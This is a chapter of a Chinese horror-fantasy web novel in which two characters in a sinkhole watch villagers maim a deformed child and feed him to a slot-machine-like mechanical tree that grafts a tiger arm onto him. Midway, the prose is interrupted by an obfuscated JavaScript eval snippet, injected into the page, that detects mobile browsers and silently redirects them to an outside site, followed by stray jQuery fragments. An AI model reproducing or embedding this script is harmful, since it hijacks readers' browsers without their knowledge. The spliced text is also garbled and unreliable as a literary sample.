6. 第 6 章

    洞口宽阔得惊人,顶部悬挂着无数巨大的岩石,形状像是倒悬的怪鸟,晃动的水光在他们身上扭曲波动,看着像是胸膛在起伏。


    当小黄鸭带着他们漂出洞口时,外面的景色一下子冲入视野。茂密的森林环绕在洞口四周,树木高耸入云,枝叶交错间几乎看不见天空。


    祝玖回头仰望,只见身后的崖壁高耸得仿佛没有尽头,几百米的峭壁直插云霄,天空被崖壁和巨树切割,只能看见一小块。


    她感到一阵眩晕,目瞪口呆地喃喃道:“不会真被你给说准了吧,我们到了天坑里面了?”


    宋曜没有回答,目光复杂地盯着祝玖。


    她果然是从天坑里出来的。


    缓过神来,祝玖招呼着宋曜,手脚并用地向岸边划去。


    上了岸,她一屁股坐到草坪上,脱下鞋控水,不禁感叹:“还是脚踏实地的感觉好。”


    宋曜跟在后面爬上岸,拧着裤子上的水,默默地点了点头。


    “这个小黄鸭可不能丢。”祝玖站起来拍了拍屁股上的土,神色认真,“出去说不定也得靠它。”


    宋曜一切都听她的,二人将小黄鸭拖到河岸附近的灌木中藏好,开始商量往哪走。


    “像在村里一样到处转转,看看能有什么发现吧。”宋曜嘴上说着,眼神却在谨慎地环顾四周。


    祝玖叹了口气:“这里看上去可比那小村子大多了,也不知道要多久才能转完一圈。”


    她话音刚落,宋曜视线锁定一处,突然压低声音:“有人!”


    祝玖一愣,转身顺着他视线的方向看过去,果然看到茂密的草丛里,有个人正低头撅着屁股,不知道在干什么。


    这里的草丛很高,几乎淹没了祝玖的小腿,而那个人影的整条腿都隐没在草丛中,身形也瘦弱,竟像是个孩子。


    她很是惊讶,刚想上前去看,就见那孩子抬起头来。


    她脚步猛地一顿,瞳孔紧缩。


    那孩子竟顶着一个牛头!


    牛头的皮肤黝黑发亮,两只硕大的眼睛如同漆黑的玻璃珠,正灵活地眨动着。它的嘴巴微微咀嚼着,脸颊的肌肉随着咀嚼的动作自然起伏,甚至还能看到嘴角沾着几根草屑。


    牛头的耳朵轻轻抖动了一下,随后,那孩子伸出一只细瘦的手,悠闲地抓了抓耳朵,动作自然得仿佛那本就是他的身体。


    宋曜突然抓住祝玖的手,带她躲到身旁的树后。


    树干极粗,看上去两人合抱还有余,把两人的身影挡得严严实实。


    祝玖背靠着树干,心跳如擂鼓般在胸腔里撞击。她偷偷探出头,目光穿过草丛的缝隙,看见不远处走来一个女人。女人约莫二十几岁,穿着朴素的布衣,外表与常人无异,只是走路的姿势有些怪异——她的右腿微微跛着,每一步都显得有些吃力。


    女人走到牛头小孩身边,毫无预兆地伸手抓住他的手腕,将他从草丛中拉了起来。牛头小孩没有任何反抗,顺从地跟着女人踉踉跄跄地走了。


    祝玖和宋曜对视一眼,彼此的眼神中都带着一丝凝重和疑惑。宋曜微微点头,示意她跟上。两人猫着腰,借着草丛和高大树木的掩护,悄无声息地尾随在女人和牛头小孩身后。


    女人拉着牛头小孩穿过幽深的森林,步伐急促,似乎对周围的一切熟门熟路,直到来到一片空地。


    空地中聚集了三四十个人,其中有不少孩子的身体上,都有着不属于人类的东西。


    他们静默无声地站立着,目光直愣愣地盯着眼前的一棵巨树。


    呃……这算是巨树吗?祝玖蹲在草丛里,目瞪口呆地看着空地中间的巨物。


    它外表看上去确实是一棵树,枝叶繁茂,树干粗壮,目测要十几个人才能合抱。在树干中段的位置,赫然镶嵌着三个锈迹斑斑的铁框,框内一片漆黑。


    在树干靠近地面的位置,还有一个黑漆漆的洞口,洞口边缘金属磨损得光滑发亮。


    这么一看,又像是个诡异的机械装置。


    就在她思索间,那个跛脚女人带着牛头小孩走入人群。


    只见人们互相清点了一下数量,似是人齐了,随后人群中走出一个抱着小孩的女人。


    那女人三十多岁,表情冷峻,怀中的孩子看起来不过三四岁,小小的身体缩成一团,双手紧紧蜷缩着。


    女人缓缓蹲下,将孩子放到地上,反手抽出一把锈迹斑斑的刀,毫不犹豫地朝着孩子蜷起的手就剁了下去。


    刀锋落下,血液喷涌而出,溅在女人的脸上和衣服上。孩子顿时发出一声撕心裂肺的哭喊,声音尖锐而凄厉。


    祝玖狠狠一抖,本能地捂住了嘴巴。


    女人把那血淋淋的肉段扔到一旁,她这才看清,那是一段畸形的胳膊,只有正常人的手掌的长度,皮肤苍白,肌肉萎缩,像是未发育完全。


    接着,女人不顾孩子哭闹抱起了他,径直走向巨树底部的洞口。


    没有丝毫停顿,她双手一松,将孩子从洞口丢了下去。


    几声碰撞后,洞口传来了孩子细微的哭声,而这机器树则好像启动了某种程序,内部轰隆作响,逐渐变得清晰且规律,像是无数齿轮咬合旋转。


    女人对着洞口一跪,双手撑地,额头几乎贴到地面。她的肩膀剧烈颤抖,随后毫无征兆地开始放声哭泣,涕泗横流,带着一股绝望的悲怆。


    “山神!山神开开眼啊!我的孩子命苦啊呜呜呜呜呜……”


    眼泪混合着她脸上的血迹滴落在地上,形成一滩暗红色的水渍。


    她嘶哑的喊声似乎触发了某种感应,巨树的树干上方亮起了一排冷蓝色的光带,仿佛一道道扫描线,缓缓从树顶扫向地面。


    顿时,其他人也好像突然活了过来。他们纷纷靠近机器树,一个个将手搭在树干上,开始痛哭了起来。


    哭嚎声此起彼伏,刚刚还面无表情的人们,此时的脸上写满了撕心裂肺的痛苦,一个个哭得像是死了爹娘。


    随着哭声逐渐高涨,机械树的第一个铁框中间开始缓缓亮起光芒,呈现出一种带有故障感的闪烁效果,像是某种老旧的显示器在努力运转。


    随着光越来越亮,喀拉喀拉的声音响起,像是机器树内部的齿轮开始飞速转动,逐渐连成轰鸣的巨响。


    逐渐有图像在铁框当中显现,但是图像在不断切换,让人看不清具体是什么。


    人们看到铁框亮起后,声音突然拔高,哭得更起劲了,有人已经开始一边哭一遍锤着树干。


    第二个铁框也在喀啦作响中亮起,模糊的光影开始浮现。图像中闪现的内容依旧模糊不清,但隐约可见某种复杂的符号轮廓,像是古老的文字或图腾。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964446|161219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有人哭得青筋暴起,有人在树旁跪了下来,有人环抱着树干,哭得满脸通红。


    第三个铁框也亮了起来。


    这时,第一个铁框中,图像切换的速度逐渐变慢,到最后“咔”一声,停在了一个符号上。


    两个朝上的半圆上下交叠,一条圆润的弧线穿过其中。


    “是‘手’的金文。”祝玖下意识开口。


    宋曜皱了皱眉,不动声色地盯着她的脸,不放过她任何一个微表情。


    祝玖正全神贯注地看着前方,好像只是随口一说。


    宋曜回忆了一下她的资料,想起她的职业,研究所的古文字研究员。


    那她的梦里出现这个倒也正常。


    他们俩说话间,第二个图像的切换也缓缓停止,伴随着一声清脆的“咔”,最终定格在与第一个图像一模一样的符号。


    随后,第三个图像的切换也渐渐变慢。


    此时,人群中的哭声已显疲态,渐渐减弱。


    却没想到,第三个铁框中的“手”字翻下来一半,图像就缓缓停了下来,像是卡住了,轻轻地上下摆动着。


    眼看着第三个图像迟迟不显露完整,女人着急起来,她突然发出一声凄厉的尖叫:“山神!帮帮我的儿啊!”


    顿时,那机器树就好像收到感召,随着尖叫回荡,巨树的内部传来阵阵低沉的“咔咔”声,树干上裂开的缝隙中喷涌出滚滚蒸汽,冷蓝色光带骤然闪烁起来,像是机械开始重新运作。


    终于,图像再次缓缓动起来,直到完整地显露出来,和之前一样,又是一个“手”字。


    三个相同的符号整齐排列,凑成一排。


    祝玖和宋曜对视了一眼,在对方眼中看到了同样的信息。


    这好像是个树型的老虎机。


    人群仿佛接到了某种信号,纷纷松了口气,一个个擦去眼泪,面无表情地站直身子,自顾自收拾整理了起来,就好像刚刚哭天喊地的并不是他们。


    祝玖心中不禁涌起一阵寒意。


    这些人刚才的绝望和悲痛,与现在的冷漠和淡然对比太过强烈,显得非常戏剧化。


    仿佛他们只是在走流程,目的性极强,并没有一丝虔诚。


    就在这时,巨树内部突然传来一阵震耳欲聋的轰鸣,整棵树身与大地一同震颤,似乎某种巨大的装置正在全力运转。


    祝玖慌张地抓住身旁宋曜的胳膊,他立刻反手紧握住她的手腕。


    他们抬头望去,只见巨树的树冠顶部猛然喷出浓密的白色蒸汽,蒸汽弥漫中伴随着刺耳的“吱吱”声,仿佛无数阀门同时开启。


    随后,震颤中传来的“轰隆隆”声变得更加猛烈,像是一连串的金属撞击声在树干深处回响。


    持续了数十秒后,这种声响却戛然而止。


    周围的空气顿时安静得诡异,连鸟叫虫鸣都没有。


    下一刻,树内突然响起弹簧的弹射声音,靠近地面那个黑漆漆的洞口猛然闪了一下,一个小小的人影从中弹射出来,重重地摔在地上,扬起一片细小的尘土。


    祝玖屏息注视着那孩子,目光迅速落在他的手臂上,倒吸一口冷气。


    之间畸形手臂被砍下的地方,竟然长出了一条完全不同的肢体。


    一条覆满斑纹、结实有力的虎臂。